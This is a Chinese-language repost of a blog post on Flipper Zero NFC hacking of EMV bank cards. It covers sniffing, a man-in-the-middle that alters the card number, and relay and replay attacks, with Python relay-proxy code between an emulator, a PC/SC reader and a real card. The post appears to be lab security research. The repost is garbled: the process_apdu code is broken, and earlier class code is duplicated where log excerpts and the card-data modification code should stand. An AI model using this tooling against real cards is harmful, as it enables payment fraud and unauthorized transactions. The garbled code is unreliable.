首頁 >後端開發 >Python教學 >Flipper Zero NFC 駭客攻擊 - EMV 銀行、中間人和中繼攻擊

Flipper Zero NFC 駭客攻擊 - EMV 銀行、中間人和中繼攻擊

Linda Hamilton
Linda Hamilton原創
2024-12-23 06:32:48157瀏覽

在上一篇文章中,我們探討了 Flipper 如何充當 NFC 非接觸式讀卡機和 NFC 卡模擬器。當我們將這兩個功能結合起來時,讀卡機交易的一系列潛在攻擊場景就會顯現出來:

  • 是否可以嗅探通訊? ,意思是攔截和監視兩個設備之間交換的資料而不改變它
  • 可以執行中間人(MitM)攻擊嗎? 具體來說,我們可以攔截並改變卡片與讀卡機之間的通信,即時注入或修改資料嗎?
  • 我的卡片容易受到中繼攻擊嗎? 一名攻擊者位於卡片附近,與其通訊並將命令/回應轉發給讀卡機附近的同謀,從而誘騙讀卡機處理交易,就好像該卡已存在。即使卡片根本沒有靠近終端,這也可以實現未經授權的交易。

在這篇文章中,我們將詳細解答這三個問題。

1-我們想要實現什麼?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

上圖(此處提供更高品質)說明了我們旨在為測試前面描述的各種攻擊而建立的設定。

  1. 有一個一部手機,其中包含一個旨在從銀行卡讀取資料的應用程式。
  2. 手機與Flipper Zero通信,後者在卡片模擬模式下運作。
  3. Flipper Zero 連接到 PC,後者將接收到的命令轉發到與其連接的 PC/SC 閱讀器
  4. PC/SC讀卡機將指令傳送至真實銀行卡
  5. 真實的卡片處理命令並做出回應,回應以相同的方式返回:透過 PC/SC 讀卡機、PC,最後到達手機。
  6. 同時,我們在 PC 上執行的 Python 腳本 會攔截這些命令和回應,因此可以在資料通過時進行即時修改。

之前,我們將所有資料處理邏輯卸載到在 Flipper 外部運行的 Python 腳本。這種方法消除了每當我們想要進行更改時更新或上傳新韌體的需要。然而,出現了一個問題:這個 Python 代理會引入延遲,從而破壞通訊並導致通訊失敗嗎?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

在回答這個問題之前,讓我們先看一下將用於設定此配置的 Python 腳本。

2 - Python腳本準備

在上一篇部落格文章中,我們介紹了此設定的兩個主要組成部分:

  • 使用 Flipper Zero 模擬卡片。
  • 使用 PC/SC 讀卡機與卡片通訊。

現在,只需將兩者連接在一起即可。我們到底在說什麼?

  • 當 Flipper 偵測到欄位時,讀卡機必須為卡通電。
  • 反之,當Flipper偵測到磁場已關閉時,讀卡機必須切斷卡片的電源。
  • Flipper 負責管理 TPDU 通訊。這是因為 PC/SC 閱讀器僅處理 TPDU 層級的命令:
    • Flipper 收到完整的 APDU 後,會將其傳送給閱讀器。
    • 讀卡機將指令轉送到實際的卡,然後將卡片的回應轉寄回 Flipper。
    • Flipper 處理此回應並以 TPDU 格式傳送它。

這些對閱讀器的要求導致了抽象 Reader 類別的創建,如下所述。此外,我們還引入了一種與讀者建立連結的方法。

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

接下來,我們在下面建立一個極簡的 PCSCReader 類別來與 PC/SC 閱讀器互動。

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

現在,我們可以繼續實作卡片模擬器,簡稱Emu,如下所示。它接受一個可選的 Reader 物件作為參數。如果提供,它會與讀者建立連接。

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

接下來,我們定義三種方法來向閱讀器傳達事件:關閉欄位、開啟欄位、傳送 APDU。

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)

接下來,我們改進了負責在 TPDU 層級管理卡片模擬器命令通訊的方法。值得注意的是,當收到完整的 APDU 命令時,將呼叫 process_apdu 方法將其轉發給讀卡機並從實際卡中檢索回應。

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)

最後,我們實作了從 Flipper Zero 啟動卡片模擬的方法。

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()

Python 腳本已準備就緒;現在讓我們來看看用於測試它們的硬體設定。

3 - 在我們的車庫進行的實驗

下面是我們對攻擊環境的小型複製。由左至右,我們有:

  • 一部運行用於讀取 NFC 銀行卡的應用程式的 Android 手機。在我們的例子中,它是 NFC-EMV-Reader(可在 GitHub 上找到 - NFC-EMV-Reader)。雖然有點過時,但它非常適合演示目的。此設備模擬嘗試與 NFC 卡通訊的終端。它沒有連接到任何其他設備。
  • Flipper Zero,充當 NFC 卡模擬器。它已連接到電腦(圖像中不可見)。
  • PC/SC 讀卡器,也連接到電腦。
  • 實際的 NFC 銀行卡,代表此設定中所針對的真實卡。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

完美,我們現在擁有執行攻擊所需的所有組件!來戰鬥吧!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

4 - 通信嗅探

我們可以先嘗試嗅探,這意味著來自 Flipper 的 APDU 命令/回應將被轉發到卡,而不進行任何修改。

這工作完美並且保持穩定,Python 程式碼充當中介,沒有明顯的影響!如果 Python 代理程式增加了太多延遲並且終端開始抱怨卡片太慢,我們已經解決了這個問題。我還沒有時間實施的東西:

  • 這是一個稱為等待時間擴充 (WTX) 的 TPDU 指令。
  • 當卡片需要額外時間來執行資源密集型操作(例如加密)時,它會發送此命令。
  • 讀卡機將此解釋為卡片仍在處理的訊號,終端以確認回應。
  • 理論上,卡片可以傳送任意數量的 WTX 指令。

以下是日誌的摘錄。

  • 卡片已開機(場關閉/場開啟)
  • 終端機嘗試使用 APDU SELECT 指令選擇卡片應用程式:00a4040007d276000085010100。這裡,應用程式識別碼(通常稱為 AID)是 d2760000850101。在查看 EFTLab 綜合 AID 資料庫上的卡 AID 清單時,我們發現該 AID 對應於德國 NDEF 標籤應用,在 NXP 晶片上實現。
  • 卡上不存在該應用程序,因此卡片響應兩字節狀態字 6A82,表明它無法識別所請求的應用程式。
class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

事實上,一張卡上可以安裝數百個不同的應用程序,每個應用程式都有自己獨特的 AID。終端不會嘗試一一嘗試它們。這就是為什麼在非接觸式銀行領域中,所有卡上都有一個特定的應用程序,旨在指示卡上可用的銀行應用程式。其 AID 為 325041592e5359532e4444463031,轉換為 ASCII 為 2PAY.SYS.DDF01。

在稍後的通訊中,我們可以看到這個應用程式被呼叫(如下圖)。因此,如前所述,先前選擇的 AID D2760000850101 的應用程式似乎不尋常。

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

解析回應時,您可以看到它表明(以及其他詳細資訊)存在 AID A0000000041010 的應用程序,該應用程式對應於 MasterCard。

因此,手機最終選擇了這個應用程式。

隨後,它會從卡中檢索各種詳細信息,包括主帳號 (PAN)。卡片上顯示的數字與終端機上顯示的數字相符,確認我們依靠簡單嗅探的中繼攻擊成功了!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

當然,像 Proxmark 這樣的工具可以讓嗅探變得更加簡單,但是當你可以讓它變得複雜時,為什麼還要讓它變得簡單;) ?

5 - 中間人

現在,讓我們繼續進行中間人攻擊。這意味著我們不僅會傾聽溝通,還會積極改變它。一個有趣的用例可能是修改卡號,例如將 5132 更改為 6132。

回顧我們先前通訊的日誌,我們可以看到這些資料都是以明文形式傳送的。使用 READ RECORD 命令(如 00B2010C00 和 00B2011400)從卡片中檢索它們。

由於資料未加密且缺乏完整性保護,我們可以根據需要對其進行修改。為了實現這一點,我們只需更新 PCSCReader 類別中的 process_apdu 方法來處理變更。

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

並且如下圖所示,應用程式完全不知道修改!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

為什麼它有效?答案如下圖所示,描述了不同的通訊層:

  • 在底層,底層技術 ISO-14443 處理物理層通訊。 翻轉零按照這個規範交換資料。
  • 然後,我們就有了 TPDU。資料在 TPDU 中交換,僅出於完整性考慮而受公共 CRC 保護。 最後,我們有 APDU 層,它由卡片應用程式的命令和回應組成。有三種可能的保護等級:
    1. 無保護:命令和回應既沒有完整性也沒有保密性保障。我們的設定就是這種情況,因此修改通訊非常容易。
    2. 部分加密:命令或回應部分加密。這可以在一些 NFC 銀行命令中看到,其中包含密碼來驗證通訊的真實性。
    3. 完全加密:命令和回應都完全加密,提供完整的保護。然而,這並沒有在 EMV 卡中實現。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

我們也可以玩得開心……由於修改倉促,所以偶爾會隨機更改數據。在一個實例中,如下圖所示,這導致應用程式顯示卡號的大量字符,即使它應該限制為 16 位數!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

這為模糊實驗開啟了一些有趣的可能性。

6 - 中繼攻擊

正如本文開頭所提到的,中繼攻擊包括攔截併中繼兩方(例如NFC 卡和終端)之間的通信而不對其進行更改,欺騙終端相信它正在與合法的設備進行通信實時打卡。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

駭客想要在終端上付款。他將終端的通訊轉發給受害者附近的同夥,然後同夥在他不知情的情況下與受害者的卡片進行通訊。

先前的實驗證明這種攻擊在受控環境中是可行的,例如車庫。然而,在現實場景中,還需要考慮其他挑戰。

  • 需要近距離:攻擊者必須靠近卡片。因此,在新冠疫情期間,在保持社交距離的情況下,顯然超方便
  • POS 處的共犯:終端附近需要第二個人。
  • 低延遲且可靠的通訊:中繼訊號的延遲可能會導致失敗,而可靠的通訊對於成功至關重要。為了解決這些挑戰,可以使用另一種類型的攻擊:重播攻擊。
    • 攻擊者與受害者進行通信 卡就好像它們是合法終端一樣,記錄卡的回應。
    • 然後攻擊者將記錄的回應重播到終端。
    • 雖然在終端指令中使用隨機資料可以防止重播攻擊,但隨機性有時並不像看起來那麼強大。但是,探索此漏洞超出了本部落格的範圍。

針對中繼攻擊的主要對策之一是測量通訊的時間,因為中繼會引入明顯的延遲。然而,較舊的 EMV 協議不包含促進此類時序檢查的命令。

結論

我們已經到達這篇文章的結尾了。我希望您喜歡這些內容! Python 程式碼和修改後的 Flipper Zero 韌體可以在我的 GitHub 上找到。

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

以上是Flipper Zero NFC 駭客攻擊 - EMV 銀行、中間人和中繼攻擊的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn